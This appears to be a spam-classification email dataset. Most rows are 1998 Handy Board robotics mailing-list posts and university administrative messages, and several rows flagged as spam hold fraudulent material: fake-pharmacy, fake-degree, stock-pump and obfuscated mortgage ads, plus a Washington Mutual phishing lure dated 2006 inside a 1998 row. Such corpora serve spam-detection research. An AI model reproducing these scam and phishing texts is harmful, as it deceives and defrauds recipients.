Thanks for any help > > Joshua Wherrett ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Thu, 22 Oct 1998 09:10:14 -0400",No stepper motor info in FAQ?,"Hi all, I just finished searching the FAQ for stepper motor driving tips and found none. :( Anyone know what the most efficient way to connect a stepper motor to the HB? I know that they have these $8ish driver chips...but I've never used one. If anyone has any experience with connecting stepper motors to the HB I'd appreciate some tips or links... Thanks!!! Gerald. ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Thu, 22 Oct 1998 09:14:12 -0400",Expansion Board availability?,"Ok, I found the link to the Expansion board info website...it's all about a beta version. But, there appears to be enough information there for me to build one myself. (is that what everyone's done?) I have never built something from scratch like this, so I was hoping to find someplace that would sell me the printed PCB and the components...or, I could scrounge the components from the sources mentioned. Q1: Anyone have any PCB's for sale for the Expansion Board? Q2: Anyone know how much all the parts cost? Thanks! Gerald. ",0,0 Ellen Waite-Franzen ,"Holly Caruso , Kathy Monday ","Thu, 22 Oct 1998 09:27:35 -0400",Internet access,"While we asked for funds to improve Internet access from Program improvements, and this was the No. 1 priority for the IS infrastructure budget, we cannot wait 6-12 months. Let's go ahead and immediately start the process to go to T-3 access. We will cover it in someway. Ellen J Waite Franzen Associate Provost for Information Services ""Computers in the future may weigh no more than 1.5 tons."" Popular Mechanics, 1949 ",0,0 Holly Caruso ,"Ellen Waite-Franzen , Kathy Monday ","Thu, 22 Oct 1998 09:34:01 -0400",RE: Internet access,"OK - I'll get on it Holly **************************** Holly Caruso Manager of Network Services Voice: 804-287-6401 Fax : 804-289-8988 e-mail hcaruso@richmond.edu **************************** The only disability In life is a bad attitude - Scott Hamilton -----Original Message----- From: Ellen Waite-Franzen Sent: Thursday, October 22, 1998 9:28 AM To: Holly Caruso; Kathy Monday Cc: Gerard Gilfoyle Subject: Internet access While we asked for funds to improve Internet access from Program improvements, and this was the No. 1 priority for the IS infrastructure budget, we cannot wait 6-12 months. Let's go ahead and immediately start the process to go to T-3 access. We will cover it in someway. Ellen J Waite Franzen Associate Provost for Information Services ""Computers in the future may weigh no more than 1.5 tons."" Popular Mechanics, 1949 ",0,0 GDFRITZ@aol.com,gulloj@rpi.edu,"Thu, 22 Oct 1998 09:38:55 -0400",Re: data capture,"Justin, I didn't see anyone reply to your RS232 Question. ALthough I am a newbie to the Handyboard, I have been doing RS232 programming off and on for years. My conclusion is that there have been MANY null modem configurations...but, they seem to be standardizing now. And, it will often depend upon your terminal program as to how it needs to be set up. The easiest way is to purchase a 'Null Modem Adapter' from your local PC/Electronics shop. These usually have all the pins jumped which need jumping. Basically, they switch the send and receive lines, and I've seen them hardwire the CTS. I've done searches on the net and found several wiring diagrams. If you still need help, drop me a note and I'll see what I can dig up in my old notes. Gerald. ",0,0 Art Goldhammer ,"GDFRITZ@aol.com, handyboard@media.mit.edu","Thu, 22 Oct 1998 10:18:30 -0400",Re: No stepper motor info in FAQ?,">Anyone know what the most efficient way to connect a stepper motor to the HB? > >I know that they have these $8ish driver chips... Allegro Systems UCN5804B is $3 and change from Newark Electronics. That's not so many $s. It can drive steppers up to 1.25A. The interfacing is easy, datasheet available on-line. Hope this helps, Art ",0,0 """Kevin B. Smith"" ","'HECTOR NORIEGA' <110060.2126@compuserve.com>, 'Handyboard' ","Thu, 22 Oct 1998 08:21:26 -0600",RE: Read A/D converter,"I didn't look that closely at your program but I have included a routine to read the analog ports that I know works. After assembling and loading the program, you make two c function calls: powerup_ad(); and read_ad(i); where i is the analog port address you want to read. Best wishes, Kevin Smith Assistant Professor Brigham Young University ***** Read_ad.asm ***************** BASE EQU $1000 ADCTL EQU $30 ADR4 EQU $34 OPTION EQU $39 ORG MAIN_START subroutine_powerup_ad: PSHX ;Preserve IX LDX #BASE ;Points to register BSET OPTION,X $80 ;ADPU = 1 to power up. BCLR OPTION,X $40 ;CSEL = 0 to select E clock. * ;need to wait for 100 us for * A/D to warm up (but not done here). PULX ;restore IX RTS subroutine_read_ad: * ;Analog port should be in ACCB. SEI ;Turn off System interrupts PSHX ;Preserve IX LDX #BASE ;Points to register ANDB #%00000111 ;Set SCAN =0 & MULI = 0, ANx in low 3 bits(CC CB CA). STAB ADCTL,X ;Store port select value BRCLR ADCTL,X $80 * ;Wait for conversion to finish (i.e. CCF = 1) LDAB ADR4,X ;Load result CLRA CLI ;Enable other interrupts PULX ;restore IX RTS -----Original Message----- From: HECTOR NORIEGA [mailto:110060.2126@compuserve.com] Sent: Thursday, October 22, 1998 12:08 AM To: Handyboard Subject: Read A/D converter ""HI"" , I am trying to read the A/D converter but the program gets ""Hung-Up"" on the line ... ",0,0 Irene ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 12:28:51 +0100",please your woman Allan,"You don't need to talk to a doctor to get the sexual help that you need. Have a look here. We sell all of the most popular erectile dysfunction medication at literally 1/5th the cost. If you buy medication to enhance erections now, you really should check out: http://curse40sbagrg9i9rw44x94mfrmmm.adulariagk.com/ We back our medications up with a full 45-day guarantee. If you are not 100% satisified, we will refund you no questions asked. Sincerely, Irene Customer Service Team ",1,1 Ellen Waite-Franzen ,Gerard Gilfoyle ,"Thu, 22 Oct 1998 10:48:36 -0400",RE: Internet access,"Nothing you need to do now (except sing the praises of IS). All the research you did up to yesterday was enough. I really do appreciate your follow through with Network Virginia. When we fill up the t-3, I expect to hear from you again... Ellen J Waite Franzen Associate Provost for Information Services ""Computers in the future may weigh no more than 1.5 tons."" Popular Mechanics, 1949 -----Original Message----- From: gilfoyle [mailto:ggilfoyl@richmond.edu] Sent: Thursday, October 22, 1998 10:36 AM To: Ellen Waite-Franzen Subject: Re: Internet access yippee!! yahoo!! let me know if there is anything i can do (e.g., creative whining to the dean, president, whoever). Ellen Waite-Franzen wrote: > > While we asked for funds to improve Internet access from Program > improvements, and this was the No. 1 priority for the IS infrastructure > budget, we cannot wait 6-12 months. Let's go ahead and immediately > start the process to go to T-3 access. We will cover it in someway. > > Ellen J Waite Franzen > Associate Provost for Information Services > > ""Computers in the future may weigh no more than 1.5 tons."" Popular > Mechanics, 1949 -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 Owen Wessling ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 10:12:47 -0700",Re: Dead HB,"Sounds like a lot of it is still up and running if you can download. I'd suggest going through the assembly instructions and performing the tests at the end of each section. You should, thereby, be able to isolate smaller areas that may be fried and hence improve your chances of saving your board. Otherwise, take a look at the schematics and use them as a map of the circuits that were involved in your short. Sorry this is so general, but it's hard to be more specific without knowing exactly what part of the board the other end of the wire was on... Good Luck, Owen At 09:33 PM 10/22/98 +1000, Mark Limb wrote: >Hi All, >While I was building my sumo robot I managed to short a wire in my HB. >I put a wire that was connected to a multimeter and also connected to >another part of the robot, into a digital sensor input, sparks came out >and it smelt like burnt electronics. I checked over the board and there >was no physical damage that I could see. I downloaded IC and when I >reset it didn't say ""Welcome to interactive c blah blah blah"", like it >usually does, the LCD just stayed the same, all full bars on top row and >all clear on the bottom. There is obviously something wrong and I was >wondering if anyone may know of any quick tests or fixes for this sort >of problem. Thanks for any help > >Joshua Wherrett > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Owen Wessling | Sr Software Engineer | He who dies Oracle Corp - Mobile Devices | with the most toys tel:425.990.2506 | is, nonetheless,still dead. owesslin@us.oracle.com | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ",0,0 Julian Porter ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 13:29:44 -0400",Sensor connections,"I can not get the sensors to respond correctly, for instance if I do analog(0) the value of the sensor marked 7 on the hb is returned. After going through all the sensors here is the layout I came up with: I never got a reading on port 0,1,9 or 10 analog(x) returns a value from the hb sensor marked 0 7 1 8 2 12 3 13 4 14 5 15 6 start button 7 Stop button 8 4 9 5 10 6 11 pot 12 3 13 2 14 8 15 4(dup) Everything else seems to working correctly. Any ideas what could be causing this? Julian ",0,0 MADHU SUDAN GADDAMIDI ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 10:37:05 -0700",Getting started with the project," Respected Sir, I have installed the newer version of IC into my PC. My Handyboard is ready with all parts assembled. Earlier I have done a project called ""Mobile Robot Navigation of a Maze"" with this handyboard. In this the robot navigates the maze and comes out of this successfully. I have implemented ""Wall Fallowing Algorithm"".I have to start another project with the same Handy Board. So I request your suggestion about any Algorithm you suggest or any problem you can suggest for this Handyboard mobile robot. Thanking You Sir, Madhusudan Gaddamidi ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 """Fred G. Martin"" ",Julian Porter ,"Thu, 22 Oct 1998 15:00:48 -0400",Re: Sensor connections ,"i think you may be using the wrong drivers. make sure to set your version of IC to load ""lib_hb.lis"" when it boots up. fred In your message you said: > I can not get the sensors to respond correctly, for instance if I do > analog(0) the value of the sensor marked 7 on the hb is returned. After > going through all the sensors here is the layout I came up with: > I never got a reading on port 0,1,9 or 10 > > analog(x) returns a value from the hb sensor marked > 0 7 > 1 8 > 2 12 > 3 13 > 4 14 > 5 15 > 6 start button > 7 Stop button > 8 4 > 9 5 > 10 6 > 11 pot > 12 3 > 13 2 > 14 8 > 15 4(dup) > > Everything else seems to working correctly. > Any ideas what could be causing this? > > Julian > > > ",0,0 Erwin Braun ,handyboard@media.mit.edu,"Thu, 22 Oct 1998 11:38:41 -0500","help ""me"" getting rid of stress, fatigue and depression","try advertise see smoothbore it inheritance the palestine , punish ",1,0 """K.L.McKinnon"" ",Owen Wessling ,"Fri, 23 Oct 1998 19:05:24 -0400",Re: Dead HB,"I tend to agree. Most people think that if the display is dead, the system is dead. The fact that you can download the program is a good sign. I think, you then need to prove that it was downloaded using simple known commands to establish that it is listening, returning information, etc. The art of troubleshooting is not only what does not work, but more importantly what does. Can you turn on various ports (motors)? Does the system react the same each time you reboot? Can you read switches on the input port? You do not have to replace anything until you get an understanding of the limits of the failure. K.L. McKinnon K.L. McKinnon Owen Wessling wrote: > Sounds like a lot of it is still up and running if you can download. > > I'd suggest going through the assembly instructions and performing the > tests at the end of each section. You should, thereby, be able to isolate > smaller areas that may be fried and hence improve your chances of saving > your board. Otherwise, take a look at the schematics and use them as a map > of the circuits that were involved in your short. > > Sorry this is so general, but it's hard to be more specific without knowing > exactly what part of the board the other end of the wire was on... > > Good Luck, > Owen > > At 09:33 PM 10/22/98 +1000, Mark Limb wrote: > >Hi All, > >While I was building my sumo robot I managed to short a wire in my HB. > >I put a wire that was connected to a multimeter and also connected to > >another part of the robot, into a digital sensor input, sparks came out > >and it smelt like burnt electronics. I checked over the board and there > >was no physical damage that I could see. I downloaded IC and when I > >reset it didn't say ""Welcome to interactive c blah blah blah"", like it > >usually does, the LCD just stayed the same, all full bars on top row and > >all clear on the bottom. There is obviously something wrong and I was > >wondering if anyone may know of any quick tests or fixes for this sort > >of problem. Thanks for any help > > > >Joshua Wherrett > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Owen Wessling | > Sr Software Engineer | He who dies > Oracle Corp - Mobile Devices | with the most toys > tel:425.990.2506 | is, nonetheless,still dead. > owesslin@us.oracle.com | > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ",0,0 """Richard A. Cini, Jr."" ",HBList ,"Thu, 22 Oct 1998 18:25:11 -0400",Source of 754410 driver,"Hello, all: I saw in the FAQ that TI has an ""upgrade"" to the L293 motor driver chip. What is the best source for this part? Thanks! Rich Cini/WUGNET - ClubWin!/CW7 - MCP Windows 95/Windows Networking - Collector of ""classic"" computers <========= reply separator ==========>",0,0 """Joe Marie J. Maja"" ","""Fred G. Martin"" ","Fri, 23 Oct 1998 11:14:50 +0900",inquiry,"Dr. Martin, I am planning to build another robot with TCOMP on it, specifically the TCOMP 3.5, can I still use IC for this board? You can find TCOMP address here: http://www.teleport.com/~raybutts/tcomp35.htm Thanks in advance. joema ",0,1 """Fred G. Martin"" ","""Joe Marie J. Maja"" ","Thu, 22 Oct 1998 22:55:42 -0400",Re: inquiry ,"probably -- i don't know if there are driver conflicts. you probably have to use the version of the pcode that doesn't hang if it doesn't find an LCD. fred In your message you said: > Dr. Martin, > > I am planning to build another robot with TCOMP on it, specifically the > TCOMP 3.5, can I still use IC for this board? > > You can find TCOMP address here: > http://www.teleport.com/~raybutts/tcomp35.htm > > Thanks in advance. > > joema > > > ",0,1 HECTOR NORIEGA <110060.2126@compuserve.com>,Handyboard ,"Fri, 23 Oct 1998 01:58:35 -0400",A/D converter,"Thank you for the ""Hint"" Kevin Smith , Assistant Professor at Brigham Young University. I can read the Analog to Digital converter now. I increased the delay on the power up initialization. Hector Noriega Graduate Student Electrical Engineering Department Long Beach State University ",0,0 Mario Garcia ,"""Richard A. Cini, Jr."" ","Fri, 23 Oct 1998 00:07:37 -0700",Re: Source of 754410 driver,"Newark has the TI SN754410NE chips. Richard A. Cini, Jr. wrote: > Hello, all: > > I saw in the FAQ that TI has an ""upgrade"" to the L293 motor driver chip. > What is the best source for this part? Thanks! > > Rich Cini/WUGNET > - ClubWin!/CW7 > - MCP Windows 95/Windows Networking > - Collector of ""classic"" computers > <========= reply separator ==========>",0,0 Jody ,"handyboard@media.mit.edu, tia@media.mit.edu","Thu, 22 Oct 1998 23:52:42 -0600",Quicker routes.,"Academic Qualifications available from prestigious NON-ACCREDITED universities. Do you have the knowledge and the experience but lack the qualifications? Are you getting turned down time and time again for the job of your dreams because you just don't have the right letters after your name? Get the prestige that you deserve today! Move ahead in your career today! CALL 1-206-666-5510 Bachelors, Masters and PhD's available in your field! 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I'm not in the mailing-list, please answer directly to my email! -- Tulio -------------------------------------------------- The cost of feathers has risen, even down is up! -------------------------------------------------- Institute for Artificial Intelligence- TU-Dresden Phone: ++49(351)4638520 Fax: ++49(351)4638342 http://pikas.inf.tu-dresden.de -------------------------------------------------- Tulio Camminati: $$$$$ life-long: tulio@pacific-ocean.com / 0 0 \\ net: tulio@inf.tu-dresden.de { U } \\ --- / http://pikas.inf.tu-dresden.de/~tulio \\___/ ___uuU__|-|__Uuu____ Tulio Camminati ",0,1 Robert Pitts ,info@gso.bu.edu,"Fri, 23 Oct 1998 16:22:08 -0400","GSO - summary of Thu, Oct 22, 98 meeting","Here is a summary of what we did at yesterday's Graduate Student Organization meeting. Our next meeting will be on Thursday, November 5th, 5-6:15pm. Attendance at general meetings has been decreasing. It's important to have good meeting attendance so that many opinions are represented. Even if different students from a dept. come to a meeting once a semester, that would be very useful. --Rob Summary ======= 1. Committee Reports Each committee reported on their activities. Funding Committee ================= Gareth Roberts reported for this committee. They have attempted to get salary information (for student fellowships, etc.) from other schools but have not yet heard much from their contacts. They have examined BU's cost-of-living formula. They've compared it to a cost-of-living formula they've constructed and found BU's formula to be lower. They will send more details on cost-of-living in a separate e-mail. ---- Meeting attendees had the following suggestions/concerns: - Try to find out more about salaries at other schools by posting a message to the NAGPS' bulletin board. - New students need to be given more information about length of appointments (some students may not realize that their pay is only for 8-9 months). Also, some students aren't told whether they will have funding until the last minute. - Master's students usually don't have a lot of funding opportunities. Healthcare Committee ==================== Denise Guillot reported for this committee. This committee is down from 4 members to 3. They've looked into insurance plans from major insurance companies in the hopes that there might be something affordable for students. They found all of them to be too costly, but will gather paperwork from each plan in case a student would like to look at them. They've completed (or almost completed): - 2 alternative healthcare plans (at local hospitals). - 1 description of the student insurance plan at a local university (for students to compare). - begun a ""legislation/laws"" and ""terminology"" section on the GSO's Healthcare Pages, with laws or terms relevant to healthcare. The groups immediate future plans involve: - Writing up the BU Student Health Plan. Especially so that new students will know about our plan before they come here. - Looking for more dental plans. ---- A meeting attendee mentioned that BU's Student Health Services is currently providing free flu shots. One issue that was mentioned is that part-time students have different access to BU health care. Apparently, they cannot use Student Health Services (with or without insurance). On the positive side, this means they don't need the usual ""referral"" to go to certain doctors. Housing Committee ================= Doug Wright reported for this committee. They've contacted the Office of On-campus Housing, who said that most of the on-campus graduate housing is for Theology students. They were referred to BU's Office of Rental Property Management, which apparently is responsible for apartments that BU owns. They have scheduled a meeting with this office. They've been told that students using this office to find an apartment do not incur a ""finder's fee"", but that these apartments go quickly. ---- Meeting participants had several comments or ideas, including: - Others schools seem to have more graduate housing on campus. The Univ. of Connecticut apparently sends information to new students in June about where they should look for apartments, etc. - Provide more recommendations for new students who cannot visit Boston prior to start of school, but are looking for housing. - Provide a listing of where students could stay in town (hostels, etc.) while they are looking for apartments. - Departments might be able to get a few people to ""put up"" students while they are looking for apartments. - A few grad students in each dept. might volunteer to talk to new students about the Boston apartment situation. Liaison Committee ================= Gary Garber reported for this committee. They brought up the ""Boston Globe"" article mentioning that BU has grad Pub Nights. Apparently, there was no mention of the GSO. This committee and meeting attendees agreed that this is a good opportunity to try to strengthen our rapport with the administration. In other words, telling them that we would like to be mentioned in references to joint projects (i.e., Pub Nights were our idea and we run them; GRS usually give us some money for snacks). And, that we would like to continue to work with them on projects and foster cooperation. They will either construct a letter addressing these issues or discuss them with GRS in person. They also reported that GRS is giving us $150 to send students to the NAGPS Conference (see topic 2 below). Social Committee ================ Jen Wenner reported for this committee. This committee is down from 2 active members to 1, and thus, needs more members before they can expand social events beyond Pub Night. They reported that the last Pub Night had lower attendance than usual. Likely reasons for this were: - Pub Night was the day after a holiday. - Signs were not put up. - The requisition for food never got sent from GRS. On the positive side, signs on each table used for Pub Night made it more visible (in the Pub). Steering Committee ================== Dave Morgan reported for this committee. This committee is down from 4 members to 3. They reported that their goal is to have a proposal for how the GSO should be organized in about a month. They have an upcoming meeting with a representative from Harvard's graduate organization to discuss ideas. ============ As a general thought while discussing housing, attendees said they would like to see depts. do more to ""orient"" new students. We could collaborate with depts. on some of this work, when we can. This is an issue we should revisit in the spring when we start thinking about next fall. 2. NAGPS Conference We discussed sending students to the Conference of the National Assoc. of Graduate-Professional Students (NAGPS), to be be held at the Braintree Sheraton Tara Hotel, Nov. 18-22. The $150 we will be getting from GRS for the conference will allow us to send 2 people (using the $75/person Thu/Fri combined day rate). Our main goals for the conference will be: - Attending sessions for developing grad groups (for ideas). - Networking with other grad organizations, especially local ones. We want to send people from the Steering (new group ideas), Funding (networking), and Healthcare (networking) committees. Since this is best done with 3 people, we might be able to split one of the Thu/Fri day rates between 2 people. Exactly who will be attending is not finalized, but they will be from among those committees and possibly a few other active members of the group. Of course, other students who are interested in attending the conference can contact us to discuss options for doing so. 3. Postings We've received a few e-mails about job opportunities or career seminars (i.e., e-mails to ""questions@gso.bu.edu""). We discussed the best way to distribute this information since it is the kind that is not relevant to everyone on the mailing list, just a small subset. We've decided to create a web repository for these announcements. On occasion, we will send mail to the general mailing listing describing what can be found in this repository. 4. Collaboration We discussed collaborating with the School of Social Work's (SSW) Student Organization. They are a graduate student organization in a BU school separate from GRS, with which the GSO has had contact before. They are largely a group for Master's students (SSW consists of only Master's students, except for PhD's in the joint SSW/Sociology program). They are a funded group. Their organization has the typical set of officers and it has caucuses. Caucuses each have their own focus. Currently, they have caucuses on: - AHANA (an acronym) - this group concentrates on issue concerning ""people of color"". - GLBT - this group is concerned with gay, lesbian, bisexual and transgender issue. - Spirituality In the past, the organization has had social events for students and/or faculty. In addition, each caucus has its own projects. For example, AHANA is collaborating with other schools, GLBT has helped to get more literature on ""homosexuality"" in the SSW curriculum, and Spirituality is working on a meditation lecture. Since they are interested in collaborating with us if a common project or issue arrives, we'd like to take advantage of this possibility, even if it is something as simple as a joint social event. In order to find out what that might be, we will either send one of our members to their next meeting or invite one of their members to ours.",0,0 """John A. Atkinson-Abutridy"" ",handyboard@media.mit.edu,"Fri, 23 Oct 1998 06:00:34 -0500",Question,"Dear HB members: 1.- Is there any software for controlling two or more IR sensors??? 2.- Could you tell me how does the ""IR_signal"" works?? Thank you -- John A. Atkinson-Abutridy EMAIL: atkinson@inf.udec.cl Profesor Asistente Dept. de Ingenieria Informatica URL: http://www.inf.udec.cl/~atkinson Universidad de Concepcion Concepcion, CHILE Phone: (56) (41) 204305 Fax : (56) (41) 221770 ",0,1 Jayson Lucas ,"handyboard@media.mit.edu, desiree@media.mit.edu, russell@media.mit.edu, lacy@media.mit.edu","Sat, 24 Oct 1998 08:01:46 +0000",Stock Trader news,"Res0rt C|ubs |nternational_Inc. Now Listed and Trading on Frankfurt Exchange! Act fast on this one! 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",1,1 Germán Gentile ,"siming@singnet.com.sg, Mark Limb ","Fri, 23 Oct 1998 23:27:06 -0300",RE: Dead HB,"> Well maybe you should try replacing the HC11 for a start.. These > things tend > to spoil easily and for no apparent reason.... :( (or is it just > bad luck?) > That's funny, you shorted out something and it still can download? > Maybe you should also change the RAM chip for good measure. > > Anyway does anyone know if I can use a NVRAM module (Dallas > DS1230) in place > of the SRAM now so I don't have to use a battery just to keep the RAM > contents? I´m using that nvrmas on HB and work excellent. You simply put the memory and disconnect the external battery! German Gentile ",0,0 Mario Garcia ,Raphael Carter ,"Fri, 23 Oct 1998 21:46:56 -0700",Re: Source of 754410 driver,I think that Newark sells them for about $4.15 each. Raphael Carter wrote: > Acroname (www.acroname.com) sells these chips for $5 each or a 3-pack for > $12. > > -- > Raphael Carter,0,0 accounts@wamu.com,handyboard@media.mit.edu,"Fri, 23 Oct 1998 22:24:45 -0500",Important News,"Dear Wamu's Bank Customer,This is your official notification from Washington Mutual Bank that the service(s) listed below will be deactivated and deleted if not renewed immediately. Previous notifications have been sent to the Billing Contact assigned to this account. As the Primary Contact, you must renew the service(s) listed below or it will be deactivated and deleted SERVICE: Washington Mutual Bank Online Banking � SecureCode� EXPIRATION: May 20 2006 http://http://www.wamu.com/default.aspSincerely,Washington Mutual Bank  Account Review Department.================================================================ IMPORTANT CUSTOMER SUPPORT INFORMATION ================================================================   Need help? Use ""Site Helper"" or call customer service at 1.800.788.7000.Please do not ""Reply"" to this Alert.�2006 Washington Mutual Bank Financial Group. All rights reserved.",1,1 Eric Noyau ,handyboard@media.mit.edu,"Sat, 24 Oct 1998 02:13:56 -0700",Sonar question," Hi all, I'd like to install sonar capabilities in my robot and I went to the FAQ to check how it was ""recommended"" to do it with the Polaroid OEM kit (It's at http://el.www.media.mit.edu/groups/el/projects/handy-board/software/sonar.html). this seems pretty straightforward to do but I'd like to use 2 sonars, not just one, to give my robot a more stereoscopic view of the world. By making the assumption that I'm never going to fire both sonars at the same time but one after the other I did convince myself that I can share a lot of connections between the two sonars board: basically there is only the need for one additional pin. There is 5 things necessary to connect a sonar board with the HB: - ground (unregulated motor power): can be shared - Vcc (unregulated motor power): can be shared - timer input (A0, timer input 3): can be shared with the addition of two diodes to avoid a return current on the unused sonar (is the diode really necessary?) - BINH (port D4): to inhibit the blanking. Can be shared too. The only one that cannot be shared is the INIT line, connected to the port D5. Can I connect my second board INIT to D3 for this purpose? Here is a crude diagram of what I'm thinking about: + : connections ->|- : diode /\\/\\ : resistor ---- : wire Board1 Board2 GND -------+-------- Motor power ground GND --+ V++ -------+-------- Motor power + V++ --+ ECHO --->|-------+---- Sensor 7 (A0) ECHO -->|--+ BINH --------+-/\\/\\--- Pord D4 BINH --+ INIT ----------------- Port D5 INIT ----------- Port D3 I can modify the code in the sonar.c to do bit_set(0x1009, 0x38) in sonar_init and having a sample_right and sample_left functions with the only difference being the bit_set(0x1008, 0x20) replaced by bit_set(0x1008, 0x08). As long as I don't use both sonar at the same time I'm fine right? Does it make sense? Am I missing something crucial somewhere? The part I'm not sure about is the use of D3. If I understand the MC68HC11 reference manual correctly I can just use it the same way D4 and D5 are. D2 is apparently unusable as an output in the mode the SPI is in, but D3 should be possible to setup (I guess I'm going to reinstall monsterscope on my NeXTCube tomorrow to check my assumption!). Otherwise is there a way to use a single Polaroid board for two transducer? This will reduce the cost (and the size) of this whole setup! And talking about cost, does anybody knows a cheap supplier for these sonars? Wirz Electronics want $50 for one and $94 for two... And it's $99 for 2 direct from Polaroid. Anybody cheaper (and no, I don't have a hackable Polaroid camera at home ;^)? Thanks in advance, -- Eric ",0,1 """Wijngaarde, Ronald"" ",handyboard@media.mit.edu,"Sat, 24 Oct 1998 16:36:36 +0200",Implementation question,"I am busy building the HB but I cannot get it to work yet. Here are the symptoms. The serial board works as expected and performs all tests as described in the implementation manual. RAM and HC11 are installed as well as the LCD. I am using the sharp LCD. The only problem with the sharp is that the pins are placed in such a way that I need a flat cable to connect it. I have tried several downloaders to get the pcode into the board. Most of them tell me that the download went okay and some ever report the two step process went okay (first the bootstrap loader, than the program). But as soon as I try to reset the board and run IC version 2 or 3, it cannot find the Handy Board. The LCD shows a solid row of blocks. I also tried the pcode that runs the HB without the LCD, to no avail. IC version 3.x cannot even communicate with the board. It refuses to see the board and will not download anything. I suspect the reset circuitry. Is there a test that can be performed to make sure that data is actually downloaded into RAM before the board is Reset ? How crucial is the Dallas Semiconductor voltage monitor chip ? Can it be replaced by other, similar chips, like the one used in the rug-warrior original plans (8810) ? Regards, Ronald Wijngaarde The Netherlands ",0,0 Glykeria Durling ,handyboard@media.mit.edu,"Sat, 24 Oct 1998 04:59:19 -0700",Re: biwiq news,"Dea d r Home Ow r ne m r , Your c p red p it doesn't matter to us ! If you OW g N real e r st y at z e and want I c MME t DIA y TE ca t sh to sp x en v d ANY way you like, or simply wish to L t OWER your monthly p v aym h ents by a third or more, here are the d r eals we have T w OD p AY : $ 4 l 88 , 000 at a 3 , 6 e 7% fi l xed - ra q te $ 37 v 2 , 000 at a 3 , 9 s 0% va v riab y le - ra w te $ 49 u 2 , 000 at a 3 , r 21% inte o re k st - only $ 2 l 48 , 000 at a 3 , 3 q 6% f u ixed - rat x e $ 19 z 8 , 000 at a 3 , 5 x 5% var o iable - rat u e Hur m ry, when these de m aIs are gone, they are gone ! Don't worry about a o pprova x l, your c p redi d t will not di r squalif z y you ! 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Here's what he suggested: > you might be able to get away with some signal multiplexing, assuming > you're only firing one sonar at a time. i could see the BINH being no > problem. For sharing the ECHO, make sure the polaroid outputs are > open collector so there isn't signal contention. > > Fred According to Darkman's message of 4/21/98, the ECHO is indeed open collector, so it ought to work fine. I'll give it a try (using D2 for the second INIT instead of D3), and report on the results of the smoke test. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's no underestimating Will Bain, the intelligence of the American public. & Tatoosh --H. L. Mencken",0,0 luikeith@egr.msu.edu,handyboard@media.mit.edu,"Sat, 24 Oct 1998 17:12:34 -0400",Stepper Motor.," I would like to have my HB controlling a stepper motor. It's a 4-phase unipolar permanent magnet motor. The names of the inputs are like this: 1 - stepper phase #1 2- '' '' #2 3- '' '' #3 4 - '' '' #4 5 - stepper common #1,3 6 - stepper common #2,4 I don't have any experience in stepper motor, can anybody give me some clues on how to use it with the HB? Keith ",0,0 Josh Ulland ,handyboard@media.mit.edu,"Sat, 24 Oct 1998 11:28:09 -0700",Re: your AMButEN,"Hi V V L C A X P I A e I m a r A L v A b n o G I i L i a z R U t I e x a A M ra S n c http://www.piterfuncsionste.com his fist in Williams eye. Then there was a gorgeous row. Bilbo had just enough wits left, when Bert dropped him on the ground, to scramble out of the way of their feet, before they were fighting like dogs, and calling one another all sorts of perfectly true and applicable names in very loud voices. Soon they were locked in one anothers arms, and rolling nearly into the fire ",1,1 """Terry P. Gathright"" <669@worldnet.att.net>","handyboard@media.mit.edu, Eric Noyau ","Sat, 24 Oct 1998 23:11:16 -0500",Re: Sonar question,"Hi, acroname has the sonar modules for $45.00. www.acroname.com ---------- > From: Eric Noyau > To: handyboard@media.mit.edu > Subject: Sonar question > Date: Saturday, October 24, 1998 4:13 AM > > > Hi all, > > I'd like to install sonar capabilities in my robot and I went to the FAQ to check how it was ""recommended"" to do it with the Polaroid OEM kit (It's at http://el.www.media.mit.edu/groups/el/projects/handy-board/software/sonar.ht ml). this seems pretty straightforward to do but I'd like to use 2 sonars, not just one, to give my robot a more stereoscopic view of the world. > > By making the assumption that I'm never going to fire both sonars at the same time but one after the other I did convince myself that I can share a lot of connections between the two sonars board: basically there is only the need for one additional pin. > > There is 5 things necessary to connect a sonar board with the HB: > > - ground (unregulated motor power): can be shared > - Vcc (unregulated motor power): can be shared > - timer input (A0, timer input 3): can be shared with the addition of two diodes to avoid a return current on the unused sonar (is the diode really necessary?) > - BINH (port D4): to inhibit the blanking. Can be shared too. > > The only one that cannot be shared is the INIT line, connected to the port D5. > > Can I connect my second board INIT to D3 for this purpose? Here is a crude diagram of what I'm thinking about: > > + : connections > ->|- : diode > /\\/\\ : resistor > ---- : wire > > > Board1 Board2 > > GND -------+-------- Motor power ground > GND --+ > > V++ -------+-------- Motor power + > V++ --+ > > ECHO --->|-------+---- Sensor 7 (A0) > ECHO -->|--+ > > BINH --------+-/\\/\\--- Pord D4 > BINH --+ > > INIT ----------------- Port D5 > INIT ----------- Port D3 > > > I can modify the code in the sonar.c to do bit_set(0x1009, 0x38) in sonar_init and having a sample_right and sample_left functions with the only difference being the bit_set(0x1008, 0x20) replaced by bit_set(0x1008, 0x08). As long as I don't use both sonar at the same time I'm fine right? > > Does it make sense? Am I missing something crucial somewhere? The part I'm not sure about is the use of D3. If I understand the MC68HC11 reference manual correctly I can just use it the same way D4 and D5 are. D2 is apparently unusable as an output in the mode the SPI is in, but D3 should be possible to setup (I guess I'm going to reinstall monsterscope on my NeXTCube tomorrow to check my assumption!). > > Otherwise is there a way to use a single Polaroid board for two 